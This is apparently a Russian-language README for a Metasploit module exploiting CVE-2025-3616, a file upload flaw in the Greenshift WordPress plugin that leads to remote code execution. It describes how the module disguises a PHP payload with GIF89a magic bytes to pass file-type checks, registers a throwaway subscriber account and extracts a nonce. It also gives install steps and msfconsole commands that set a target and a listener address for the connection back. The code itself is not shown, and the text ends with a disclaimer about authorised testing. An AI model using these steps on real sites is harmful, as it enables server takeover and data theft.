Metasploit-модуль: Greenshift WordPress Plugin Arbitrary File Upload (CVE-2025-3616)

Этот репозиторий содержит Metasploit-модуль для эксплуатации CVE-2025-3616 — уязвимости произвольной загрузки файлов в плагине Greenshift для WordPress (версии с 11.4 по 11.4.5).

Эксплойт позволяет аутентифицированным пользователям (Subscriber+) загружать произвольные файлы, что приводит к удалённому выполнению кода (RCE). Он обходит проверку типа файлов в плагине, подделывая MIME-тип с помощью GIF-магических байтов (GIF89a;).

Возможности

Обработка аутентификации: поддерживает вход с существующими учётными данными (USERNAME/PASSWORD).
Авторегистрация: включает опцию REGISTER для автоматической регистрации нового пользователя и эксплуатации уязвимости с использованием свежих сессионных cookie (полезно, если на целевом сайте включена регистрация).
Извлечение nonce: автоматически извлекает требуемый nonce wp_rest из административной панели.
Обход защиты: добавляет GIF-магические байты к PHP-пейлоаду, чтобы обойти проверку finfo_file().

Установка

Убедитесь, что у вас установлен Metasploit Framework.

Скопируйте wp_greenshift_file_upload.rb в каталог локальных модулей:

mkdir -p ~/.msf4/modules/exploits/unix/webapp/
cp wp_greenshift_file_upload.rb ~/.msf4/modules/exploits/unix/webapp/

Запустите msfconsole и перезагрузите модули:
```
msfconsole
msf6 > reload_all
```

Использование

1. Использование авторегистрации (рекомендуется)

Если на целевом сайте включена регистрация пользователей, учётные данные не нужны.

use exploit/unix/webapp/wp_greenshift_file_upload
set RHOSTS <TARGET_IP>
set LHOST <YOUR_IP>
set REGISTER true
run

2. Использование существующих учётных данных

Если у вас уже есть действительный пользователь (Subscriber или выше):

use exploit/unix/webapp/wp_greenshift_file_upload
set RHOSTS <TARGET_IP>
set LHOST <YOUR_IP>
set REGISTER false
set USERNAME <USER>
set PASSWORD <PASS>
run

Параметры

Параметр	Обязательный	Описание
RHOSTS	да	Адрес целевого хоста
LHOST	да	Адрес прослушивания (ваш IP)
REGISTER	нет	Установите `true`, чтобы автоматически зарегистрировать новую учётную запись (по умолчанию: `false`)
USERNAME	нет	Имя пользователя WordPress (обязательно, если REGISTER установлен в `false`)
PASSWORD	нет	Пароль WordPress (обязательно, если REGISTER установлен в `false`)
EMAIL	нет	Email для регистрации (необязательно, генерируется автоматически, если пусто)

Отказ от ответственности

Этот модуль предназначен только для образовательных целей и авторизованного тестирования на проникновение. Использование этого кода для атак на цели без предварительного взаимного согласия незаконно.

CVE-2025-3616

Популярное